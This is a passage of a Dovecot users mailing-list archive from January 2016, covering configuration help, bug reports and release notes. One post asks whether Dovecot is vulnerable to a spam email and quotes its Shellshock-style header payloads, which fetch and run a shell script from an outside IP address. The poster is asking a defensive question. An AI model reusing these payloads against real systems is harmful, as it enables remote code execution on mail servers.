/usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fd798e75b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fd798e76ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fd798e75bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fd798e75d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fd798e114b3] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](main+0x2d8) [0x7fd79963ceb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fd798a72ead] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](+0xf03d) [0x7fd79963d03d] Jan 21 22:55:25 mailimap01 dovecot: imap(p142324p3): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fcbf559d8cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fcbf559d92e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fcbf5546aae] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](client_continue_pending_input+0x132) [0x7fcbf5d845e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fcbf55b0b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fcbf55b1ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fcbf55b0bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fcbf55b0d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fcbf554c4b3] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](main+0x2d8) [0x7fcbf5d77eb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fcbf51adead] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](+0xf03d) [0x7fcbf5d7803d] -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. §35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Geschäftsführer: Peer Heinlein -- Sitz: Berlin

4 9

is dovecot vulnerable to this kind of attack?
by Louis Kowolowski 28 Jan '16

28 Jan '16

I found an interesting email that got caught in my spam quarantine. I’m wondering if dovecot is vulnerable to this kind of code execution (I’m aware that other components could be vulnerable, but this question is specifically targeting dovecot). The idea is to insert shell commands into various header fields that would get executed as part of the message processing/delivery. Examples include: From: () {:;};/bin/sh -c 'cd /tmp;curl -sO 62.75.175.145/ex.sh;lwp-download http: //62.75.175.145/ex.sh(a)nes.txt.com;, wget(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, fetch(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, sh(a)nes.txt.com, ex.sh(a)nes.txt.com;, rm(a)nes.txt.com, -fr(a)nes.txt.com, ex.*'@nes.txt.com, &(a)nes.txt.com; Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Message-ID:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; The full message, should it be of interest, can be found here: https://dl.dropboxusercontent.com/u/17066730/interesting%20email.txt Thank you! -- Louis Kowolowski louisk(a)cryptomonkeys.org Cryptomonkeys: http://www.cryptomonkeys.com/ Making life more interesting for people since 1977

2 2

ot: data consumption IMAP vs POP
by voytek＠sbt.net.au 27 Jan '16

27 Jan '16

I have a domain with about 50 mailboxes, server is located here in AUS but most of the users are on a LAN is SEAsia location. They were using POP (with Thunderbird), I suggested then can use IMAP instead, so they did. now they are asking; "Looks like Imap is adding a lot to our internet bandwidth" I guess they have some bandwidth limitation on their link I think I can understand that IMAP would increase bandwidth requirement, didn't expect it to cause 'problems' is there any optimization or changes I can make to reduce that ? the b/w limitation are at the client LAN link any other suggestions ? thanks, V

6 7

Released Pigeonhole v0.4.12.rc1 for Dovecot v2.2.21
by Stephan Bosch 27 Jan '16

27 Jan '16

Hello Dovecot users, The last few releases had an annoying bug that made the Sieve editheader and imap4flags ineffective when multiple scripts were executed sequentially (sieve_before/sieve_after). That is why I am making a new release. Unlike the previous release, this release also adds a new feature: support for the Sieve extracttext extension. Changelog v0.4.12: + Implemented the Sieve extracttext extension (RFC 5703; Section 7). It is now possible to extract body text from a message into a variable. * Increased ABI version due to changes in the Sieve interpreter's object definitions. - multiscript: Fixed bug in handling of (implicit) keep; final keep action was always executed as though there was a failure. This caused the keep action to revert back to the initial message, causing editheader actions to be ignored. - managesieve-login: Fixed proxy to allow SASL mechanisms other than PLAIN. Before, the proxy would fail if the server did not support the PLAIN mechanism. - ldap storage: Prevent segfault occurring when assigning certain (global) configuration options. The release is available as follows: http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12… http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12… Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this release candidate and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan(a)rename-it.nl

1 0

dsync: INBOX Can't be deleted
by Christoph Adomeit 26 Jan '16

26 Jan '16

Hi, I am Migrating an old cyrus mailserver to dovecot. in the old cyrus Mailserver all User Mailboxes are sub-mailboxes of their INBOX. I have to preserve that structure. During Migration with dsync I get these Errors: Error: Mailbox INBOX sync: mailbox_delete failed: INBOX can't be deleted Is there a way to work around these Errors ? Thanks Christoph

5 11

problem Dovecot 2.2.13 does not send the information on ending the quota to user
by gothic-folk＠mail.ru 25 Jan '16

25 Jan '16

Hi. I have Dovecot + Postfix + MySQL. Version of Postix: 2.11.3-1 Version of Dovecot: 2.2.13 Operations system is: Debian GNU/Linux 8.2 (jessie) Postfix have patched (patch VDA - http://vda.sourceforge.net) for using with quota, it means that file "maildirsize" in mail directory already exists and changed when add/delete mail. Quota for virtual box take in MySQL db. ########################## Problem: Dovecot does not send the information on ending the quota to user. ########################## # 2.2.13: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-042stab112.15 x86_64 Debian 8.2 ext4 auth_debug = yes auth_default_realm = mydomain.ru auth_mechanisms = plain login auth_realms = mydomain.ru debug_log_path = /var/log/dovecot-debug.log info_log_path = /var/log/dovecot.log lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes log_path = /var/log/dovecot.log login_greeting = Welcome mydomain.ru" mail_debug = yes mail_gid = 1000 mail_location = maildir:/var/vmail/%n@%d mail_plugins = " quota" mail_uid = 1000 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii- numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes list = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk { auto = subscribe special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Trash { auto = subscribe special_use = \Trash } prefix = type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { quota = maildir:User quota quota_rule = *:storage=10M quota_rule2 = Trash:storage=+100M quota_rule3 = SPAM:ignore quota_warning = storage=90%% quota-warning 90 %u quota_warning2 = storage=80%% quota-warning 80 %u } protocols = pop3 imap quota_full_tempfail = yes service auth { unix_listener /var/spool/postfix/private/dovecot-smtp-auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service quota-warning { executable = script /etc/dovecot/quota.sh unix_listener quota-warning { user = vmail } user = vmail } ssl_cert = </etc/ssl/mydomain.ru.crt ssl_key = </etc/ssl/mydomain.ru.key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol imap { mail_plugins = " quota imap_quota" } protocol pop3 { mail_plugins = quota } protocol lda { mail_plugins = " quota" } ##### quota.sh ##### #!/bin/sh PERCENT=$1 USER=$2 cat << EOF | /usr/lib/dovecot/dovecot-lda -d $USER -o "plugin/quota=maildir:User quota:noenforcing" From: aaa(a)mydomain.ru Subject: Quota warning $PERCENT% Your mailbox is now $PERCENT% full. Please remove unnecessary emails to avoid new mail loosing. EOF ##### Script has chmod 777 ##### root@mx:~# ls -la /etc/dovecot/quota.sh -rwxrwxrwx 1 vmail vmail 570 Jan 25 17:26 /etc/dovecot/quota.sh Check the script this command is successful: # /etc/dovecot/quota.sh 82 rrr(a)mydomain.ru (a letter is sent to rrr(a)mydomain.ru that box is filled to 82%) ##### dovecot-sql.conf.ext ##### driver = mysql connect = host=localhost dbname=postfix user=postfix password=xxxxxxx default_pass_scheme = MD5-CRYPT user_query = SELECT '/var/vmail/%n@%d' as home, 'maildir:/var/vmail/%n@%d'as mail, 1000 AS uid, 1000 AS gid, concat ('*:bytes=', quota) AS quota_rule FROM mailbox WHERE username = '%u' AND active = '1' password_query = SELECT username as user, password, '/var/vmail/%n@%d' as userdb_home, 'maildir:/var/vmail/%n@%d' as userdb_mail, 1000 as userdb_uid, 1000 as userdb_gid, concat('*:bytes=', quota) AS userdb_quota_rule FROM mailbox WHERE username = '%u' AND active = '1' ##### Check that the socket has a quota-warning: # lsof |grep quota-warning dovecot 28972 root 57u unix 0xffff8801861f7400 0t0 216184427 /var/run/dovecot/quota- warning ##### Verify that the plugin quota is running I doing like this: # doveadm -D -v quota get -u rrr(a)mydomain.ru Conclusion: doveadm(root): Debug: Loading modules from directory: /usr/lib/dovecot/modules doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/lib10_quota_plugin.so doveadm(root): Debug: Loading modules from directory: /usr/lib/dovecot/modules/doveadm doveadm(root): Debug: Skipping module doveadm_acl_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_acl_plugin.so: undefined symbol: acl_user_module (this is usually intentional, so just ignore this message) doveadm(root): Debug: Skipping module doveadm_expire_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_expire_plugin.so: undefined symbol: expire_set_deinit (this is usually intentional, so just ignore this message) doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_quota_plugin.so doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_sieve_plugin.so doveadm(root): Debug: Skipping module doveadm_fts_lucene_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib20_doveadm_fts_lucene_plugin.so: undefined symbol: lucene_index_iter_deinit (this is usually intentional, so just ignore this message) doveadm(root): Debug: Skipping module doveadm_fts_plugin, because dlopen() failed: /usr/lib/dovecot/modules/doveadm/lib20_doveadm_fts_plugin.so: undefined symbol: fts_backend_rescan (this is usually intentional, so just ignore this message) doveadm(asd(a)mydomain.ru): Debug: auth input: asd(a)mydomain.ru home=/var/vmail/asd(a)mydomain.ru mail=maildir:/var/vmail/asd@mydomain.ru uid=1000 gid=1000 quota_rule=*:bytes=5120000 doveadm(asd(a)mydomain.ru): Debug: Added userdb setting: mail=maildir:/var/vmail/asd@mydomain.ru doveadm(asd(a)mydomain.ru): Debug: Added userdb setting: plugin/quota_rule=*:bytes=5120000 doveadm(asd(a)mydomain.ru): Debug: Effective uid=1000, gid=1000, home=/var/vmail/asd(a)mydomain.ru doveadm(asd(a)mydomain.ru): Debug: Quota root: name=User quota backend=maildir args= doveadm(asd(a)mydomain.ru): Debug: Quota rule: root=User quota mailbox=* bytes=5120000 messages=0 doveadm(asd(a)mydomain.ru): Debug: Quota rule: root=User quota mailbox=Trash bytes=+104857600 messages=0 doveadm(asd(a)mydomain.ru): Debug: Quota rule: root=User quota mailbox=SPAM ignored doveadm(asd(a)mydomain.ru): Debug: Quota warning: bytes=4608000 (90%) messages=0 reverse=no command=quota-warning 90 asd(a)mydomain.ru doveadm(asd(a)mydomain.ru): Debug: Quota warning: bytes=4096000 (80%) messages=0 reverse=no command=quota-warning 80 asd(a)mydomain.ru doveadm(asd(a)mydomain.ru): Debug: Quota grace: root=User quota bytes=512000 (10%) doveadm(asd(a)mydomain.ru): Debug: Namespace inbox: type=private, prefix=, sep=, inbox=yes, hidden=no, list=yes, subscriptions=yes location=maildir:/var/vmail/asd@mydomain.ru doveadm(asd(a)mydomain.ru): Debug: maildir++: root=/var/vmail/asd(a)mydomain.ru, index=, indexpvt=, control=, inbox=/var/vmail/asd(a)mydomain.ru, alt= Quota name Type Value Limit % User quota STORAGE 4852 5000 97 User quota MESSAGE 10 - 0 ##### Those plugin is successfully loaded and checked. When removing/receiving emails percent of employment, respectively changes. I read in dovecot manual, that the notification send only when the quota border crossing - then I tested like this: Clears the box up to 60% and then send letters, which occupy about 5% more of allocated quota. And so the lead up to 95%. But reports of ending the quota not be sent. In what may be another problem? Thanks. ------------------ Serg

1 0

[Bug/Enhancement] doveadm user ignores -f option when performing a wildcard search
by Haravikk 25 Jan '16

25 Jan '16

The title mostly says it all on this one, but it seems that doveadm user has unique behaviour when a wildcard username is given, causing it to return a list of matching usernames in place of regular output, ignoring other command line options such as the -f (field) option. For example, I had hoped to use the following command in a script to easily get a list of all user home locations (excluding local users): doveadm user -f home *@* However the results are a list of usernames, rather than a list of home locations as I had hoped. I’ve tagged this thread as Bug/Enhancement as outputting a list of matched usernames is clearly the intended behaviour, but it could certainly be clarified, as could the fact that the -f option is ignored in this special case. I think that the correct “fix” here is to clarify in the documentation that wildcard matching is a separate use-case of this command in which the -f (and possibly other?) options are ignored and the results are always given as a list of matching usernames. It needs to be clear that doveadm user user(a)domain1.tld user(a)domain2.tld and doveadm user *@* are not equivalent, even if those are the only two users, as this differs from many other unix commands where wildcards are permitted, e.g- using rm with a wildcard is equivalent to adding all matching files to the command yourself. However, in future I’d like to see support for the -f option with wildcard matches as well, with -f user simply being the default. This would be much easier for a script inspecting user home directories, as for now my alternative is to use the wildcard match to get a list of names, then call dovecot user -f home <user> for each one to get their home location, which isn’t nearly as nice =) - Haravikk

1 0

Mailbox doesn't exist: test
by ＠lbutlr 25 Jan '16

25 Jan '16

I’ve been getting an error when trying to save mail based on address extensions where dovecot is not creating the mailbox: dovecot: lda(user(a)example.com): msgid=<Balhs-user(a)example.net>: save failed to open mailbox test: Mailbox doesn't exist: test Is this is as simple as adding lda_mailbox_autocreate = yes to my conf file, and does it go at the ‘top’ level of the file, or does it need to be in some sort of clause? -- There is something to be said for grace and respect but humour alway helps - Toby Morris

2 1

Problem (bug?) copying mail folders
by Keith Edmunds 24 Jan '16

24 Jan '16

I have reported a bug to Claws Mail (http://www.thewildbeast.co.uk/claws-mail/bugzilla/show_bug.cgi?id=3601) however, I see some behaviour from Dovecot that looks odd to me. Background: I am trying to copy a folder to another part of the IMAP folder hierarchy. The destination parent folder is ACL protected; I have lirwstpeak rights. Claws initially tries to create the destination folder and then copy the mails from the source to destination. The destination parent folder is 'public/accounts'; the folder being moved there is 'test' and 'public/accounts/test' does not exist at the start of the process. This is from Dovecot's rawlog: 11 LIST "" "public/accounts/test" 11 OK List completed. 12 CREATE "public/accounts/test" 12 OK Create completed. 13 LIST "" "public/accounts/test" 13 OK List completed. 14 SUBSCRIBE "public/accounts/test" 14 NO Mailbox doesn't exist: public/accounts/test 15 UID COPY 1:2 "public/accounts/test" 15 NO [TRYCREATE] Mailbox doesn't exist: public/accounts/test What I don't understand: the response to command 12 suggests that the destination folder has been created; the response to commands 14 and 15 suggest it hasn't. At the completion of the process, the 'public/accounts/test' folder DOES exist, but it's empty, supporting the fact that it may not have existed when command 15 was executed. Is there some kind of race condition here - or have I just misunderstood how this should work? ------------------------------------------------------------ Running on ext4 filesystem; dovecot -n: # 2.2.13: /etc/dovecot/dovecot.conf # OS: Linux 3.16.0-4-amd64 x86_64 Debian 8.2 ext4 lda_mailbox_autocreate = yes mail_debug = yes mail_location = maildir:/srv/mail/imap/%u:LAYOUT=fs mail_plugins = acl fts managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { hidden = no location = maildir:/srv/mail/imap/public:INDEX=/srv/mail/imap/public.indexes/%u.index:LAYOUT=fs prefix = public/ separator = / subscriptions = no type = public } namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / } passdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { acl = vfile acl_shared_dict = file:/srv/mail/imap/shared-mailboxes fts_autoindex = yes sieve = /home/sieve/%u.sieve sieve_dir = /home/sieve/%u } protocols = " imap sieve sieve" service imap { executable = imap postlogin } service managesieve-login { inet_listener sieve { port = 4190 } } service postlogin { executable = script-login -d rawlog } ssl_cert = </etc/dovecot/dovecot.pem ssl_dh_parameters_length = 4096 ssl_key = </etc/dovecot/private/dovecot.pem ssl_protocols = !SSLv2 !SSLv3 userdb { args = uid=imapmail gid=imapmail default_fields = home=/dev/shm/%u driver = static } protocol lda { mail_plugins = acl fts sieve } protocol imap { mail_max_userip_connections = 20 mail_plugins = acl fts imap_acl } -- "Why does God hate me so much? Is it because I don't believe in him?" - Sidney Morgenbesser

2 1

sql delete problem
by Tóth Csaba 24 Jan '16

24 Jan '16

Dear List! I have a dovecot installment with postgresql based user management. My problem is i see this in postgresql's log file: root@c13:/var/lib/postgresql/9.4/main/pg_log# cat postgresql-2016-01-24_12.log | grep 26105 2016-01-24 16:34:43 CET [26105-1] maildata@mail ERROR: permission denied for relation i3sysadm_email_account 2016-01-24 16:34:43 CET [26105-2] maildata@mail STATEMENT: DELETE FROM i3sysadm_email_account WHERE userid = 'account(a)mydomain.com' This is the error message from dovecot side (i have a lot, so this is from another date): root@c10:/var/log/dovecot# cat mail.log | grep "Jan 24 17:41:29" Jan 24 17:41:29 dict: Info: pgsql(127.0.0.1): Disconnected from database, retrying commit Jan 24 17:41:29 dict: Error: sql dict: commit failed: ERROR: permission denied for relation i3sysadm_email_account (query: DELETE FROM i3sysadm_email_account WHERE userid = 'account(a)mydomain.com') Why the hack dovecot want to delete my e-mail account? Luckily it don't have the permission.. I tried to look in the source code for "delete from", but founded just a general sql handle method. One possiblity is dovecot try to delete a cascaded information, but what can it be? Please help, how can i fix this. Thanks in advance, Csaba root@c10:/var/log/dovecot# dovecot --version 2.2.9 root@c10:/var/log/dovecot# dovecot -n # 2.2.9: /etc/dovecot/dovecot.conf # OS: Linux 3.16.0-44-generic x86_64 Ubuntu 14.10 auth_cache_negative_ttl = 0 auth_failure_delay = 3 secs auth_master_user_separator = * auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb base_dir = /var/run/dovecot/ dict { expire = sqlite:/etc/dovecot/dovecot-dict-sql.conf.ext quota = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext } disable_plaintext_auth = no first_valid_uid = 5000 hostname = mail.mydomain.com lda_mailbox_autocreate = yes listen = 87.229.104.6, :: lmtp_rcpt_check_quota = yes log_path = /var/log/dovecot/mail.log login_log_format_elements = user=<%u> method=%m rip=%r lip=%l mpid=%e %c login_trusted_networks = 192.168.0.0/24 mail_access_groups = dovenull mail_gid = dovenull mail_location = sdbox:~/sdbox mail_plugins = quota mail_uid = dovenull managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk { auto = subscribe special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { auto = subscribe special_use = \Trash } prefix = } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { acl = vfile:/etc/dovecot/global-acls:cache_secs=300 acl_shared_dict = file:/var/lib/dovecot/shared-mailboxes quota = dict:User quota::proxy::quota quota_grace = 10%% quota_rule = *:storage=100M recipient_delimiter = + sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = " imap lmtp sieve pop3" service auth-postlogin { executable = script-login /etc/dovecot/update_date_smtp.sh user = $default_internal_user } service auth-worker { unix_listener auth-worker { group = $default_internal_user mode = 0660 user = dovecot } user = $default_internal_user } service auth { executable = auth auth-postlogin unix_listener /var/spool/postfix/private/dovecot-auth { group = postfix mode = 0660 user = postfix } user = $default_internal_user } service dict { unix_listener dict { group = $default_internal_user mode = 0666 user = $default_internal_user } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service imap-postlogin { executable = script-login /etc/dovecot/update_date_imap.sh user = $default_internal_user } service imap { executable = imap imap-postlogin } service lmtp { executable = lmtp -L inet_listener lmtp { address = 127.0.0.1 port = 24 } unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0600 user = postfix } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service pop3-postlogin { executable = script-login /etc/dovecot/update_date_pop3.sh user = $default_internal_user } service pop3 { executable = pop3 pop3-postlogin } shutdown_clients = no ssl_cert = </etc/dovecot/dovecot.pem ssl_cipher_list = ALL:!LOW:!SSLv2:ALL:!aNULL:!ADH:!eNULL:!EXP:RC4+RSA:+HIGH:+MEDIUM ssl_key = </etc/dovecot/private/dovecot.pem ssl_protocols = !SSLv2 !SSLv3 submission_host = 127.0.0.1:25 userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_proctitle = yes protocol lmtp { info_log_path = /var/log/dovecot/lmtp.log mail_plugins = quota quota sieve postmaster_address = postmaster(a)mydomain.com } protocol lda { mail_plugins = quota sieve } protocol imap { imap_client_workarounds = delay-newmail mail_max_userip_connections = 10 mail_plugins = quota imap_quota } protocol pop3 { mail_max_userip_connections = 10 pop3_client_workarounds = outlook-no-nuls oe-ns-eoh } root@c10:/etc/dovecot# grep -v '^ *$#.*$\?$' dovecot-sql.conf.ext driver = pgsql connect = host=127.0.0.1 port=5432 dbname=mail user=maildata password=* default_pass_scheme = SSHA512 user_query = SELECT userdb_home AS home, userdb_uid AS uid, userdb_gid AS gid, \ mail_location AS mail, quota_rule \ FROM i3sysadm_email_account WHERE userid = '%Lu' AND active is true AND active_domain is true password_query = SELECT userid AS user, password, \ userdb_home, userdb_uid, userdb_gid, \ mail_location, quota_rule \ FROM i3sysadm_email_account WHERE userid = '%Lu' \ and active IS true AND active_domain IS true iterate_query = SELECT userid FROM i3sysadm_email_account \ WHERE active IS true AND active_domain IS true

2 1

How to skip errors on doveadm backup for migration ?
by Christoph Adomeit 24 Jan '16

24 Jan '16

Hi there, I have to migrate data out of a very old (debian 4) and buggy cyrus mailserver. About 40 Users with 200000 Messages each. Doveadm backup works quite well and gives me most of the mails. About every 100.000 Mail cannot be exported by cyrus. I do not want to bother about these errors. Maybe it is filesystem, maybe it is memory leak, or cyrus bug or whatever. My problem is that doveadm backup exits with an error if it cannot read a mail. Is there some way or option to make doveadm backup just skip the errors and continue with the next message ? I want to use doveadm sync because it preserves the uids of the mails. Imapsync works great but does not prserve uids. cyrus2dovecot is not an option because it does not work incremental and conversion would take far too long. Any ideas what I can do ? Thanks Christoph

3 5

Sieve "foreverypart" and "mime" extensions (RFC 5703) now implemented
by Stephan Bosch 24 Jan '16

24 Jan '16

Hi, I have finally managed to implement the Sieve "foreverypart" and "mime" extensions (RFC 5703). These are now included in the main Mercurial repository and will be included in the next release. I will be fixing a few minor details in the coming week; e.g., interaction with "include" and "editheader" extensions needs more work. Still, in the mean time, those of you who are interested can already test this feature a bit. It is not a small feature, so knowing bugs early is helpful. You can install it from the Mercurial repository or get the latest Debian packages from Xi. When I finish the last details (probably next week), I will release a first RC version of Pigeonhole v0.4.10 right away. Regards, Stephan.

2 2

Segfault in acl_mailbox_get_aclobj w/ dovecot
by D[r]eadlock M 23 Jan '16

23 Jan '16

Hello, I've being trying to play with shared mailboxes but experienced a segfault: [New LWP 9611] Core was generated by `dovecot/imap'. Program terminated with signal SIGSEGV, Segmentation fault. (gdb) bt f #0 0x00007f5b72f429b2 in acl_mailbox_get_aclobj (box=<optimized out>) at acl-mailbox.c:31 abox = 0x0 #1 0x00007f5b72d30fcc in cmd_myrights (cmd=0x7f5b75c97480) at imap-acl-plugin.c:331 ns = <optimized out> box = 0x7f5b75ca4520 mailbox = 0x7f5b75c752a8 "shared" orig_mailbox = 0x7f5b75c80be0 "shared" rights = 0x7f5b75c75108 str = <optimized out> #2 0x00007f5b73f2e09c in command_exec (cmd=cmd@entry=0x7f5b75c97480) at imap-commands.c:158 hook = 0x7f5b75c7e0f0 ret = <optimized out> #3 0x00007f5b73f2cfb2 in client_command_input (cmd=0x7f5b75c97480) at imap-client.c:778 client = 0x7f5b75c96880 command = <optimized out> __FUNCTION__ = "client_command_input" #4 0x00007f5b73f2d066 in client_command_input (cmd=0x7f5b75c97480) at imap-client.c:839 client = 0x7f5b75c96880 command = <optimized out> __FUNCTION__ = "client_command_input" #5 0x00007f5b73f2d39d in client_handle_next_command (remove_io_r=<synthetic pointer>, client=0x7f5b75c96880) at imap-client.c:877 No locals. #6 client_handle_input (client=0x7f5b75c96880) at imap-client.c:889 _data_stack_cur_id = 3 remove_io = false handled_commands = true client = 0x7f5b75c96880 #7 0x00007f5b73f2d745 in client_input (client=0x7f5b75c96880) at imap-client.c:931 cmd = 0x9f3f2 output = 0x7f5b75c972c0 bytes = 95 __FUNCTION__ = "client_input" #8 0x00007f5b73773d0f in io_loop_call_io (io=0x7f5b75c97390) at ioloop.c:441 ioloop = 0x7f5b75c7d740 t_id = 2 __FUNCTION__ = "io_loop_call_io" #9 0x00007f5b73774d09 in io_loop_handler_run_internal (ioloop=ioloop@entry=0x7f5b75c7d740) at ioloop-epoll.c:220 ctx = 0x7f5b75c7e3d0 io = <optimized out> tv = {tv_sec = 1799, tv_usec = 999014} events_count = <optimized out> msecs = <optimized out> ret = 1 i = 0 j = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run_internal" #10 0x00007f5b73773d79 in io_loop_handler_run (ioloop=ioloop@entry=0x7f5b75c7d740) at ioloop.c:488 No locals. #11 0x00007f5b73773df8 in io_loop_run (ioloop=0x7f5b75c7d740) at ioloop.c:465 __FUNCTION__ = "io_loop_run" #12 0x00007f5b7371edc3 in master_service_run (service=0x7f5b75c7d5d0, callback=<optimized out>) at master-service.c:566 No locals. #13 0x00007f5b73f21254 in main (argc=1, argv=0x7f5b75c7d390) at main.c:400 set_roots = {0x7f5b74145980 <imap_setting_parser_info>, 0x0} login_set = {auth_socket_path = 0x7f5b75c75048 "\001", postlogin_socket_path = 0x0, postlogin_timeout_secs = 60, callback = 0x7f5b73f371f0 <login_client_connected>, failure_callback = 0x7f5b73f36ed0 <login_client_failed>, request_auth_token = 1} service_flags = <optimized out> storage_service_flags = <optimized out> username = 0x0 c = <optimized out> It happens when my client (mutt) tries to enter the shared/ folder. A filtered strace shows (note the 7 seconds between write and read, presumely the command sent by mutt): 8704 00:40:51.420843 open("/var/vmail/domain.tld/marc/Maildir/.Sent/dovecot-acl", O_RDONLY) = -1 ENOENT (No such file or directory) 8704 00:40:51.420978 stat("/var/vmail/domain.tld/marc/Maildir/dovecot-acl", 0x7fffc618dcb0) = -1 ENOENT (No such file or directory) 8704 00:40:51.421100 open("/var/vmail/domain.tld/shared-mailboxes", O_RDONLY) = 4 8704 00:40:51.421800 openat(AT_FDCWD, "/var/vmail/domain.tld/marc/Maildir", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 12 8704 00:40:51.422217 write(7, "* LIST (\\HasNoChildren \\Sent) \"/\" Sent\r\n* LIST (\\Noselect \\HasNoChildren) \"/\" shared\r\n* LIST (\\HasNoChildren) \"/\" INBOX\r\na0005 OK List completed.\r\n", 147) = 147 8704 00:40:58.235762 <... read resumed> "a0006 MYRIGHTS \"shared\"\r\na0007 STATUS \"Drafts\" (MESSAGES)\r\na0008 SELECT \"shared\"\r\n", 8137) = 82 I admit I've played a little with directories in /var/vmail/ and got a few 'permission denied' but I think I fixed them correctly (move /var/mail/domain.tld/marc into .../Maildir, who ended being root:root) To finish, my dovecot -n: # 2.2.13: /etc/dovecot/dovecot.conf # OS: Linux 3.16.0-4-amd64 x86_64 Debian 8.2 mail_location = maildir:~/Maildir mail_plugins = acl namespace { location = maildir:%%h/Maildir:INDEXPVT=~/Maildir/shared/%%n prefix = shared/%%n/ separator = / type = shared } namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / type = private } passdb { args = scheme=SHA512-CRYPT username_format=%u 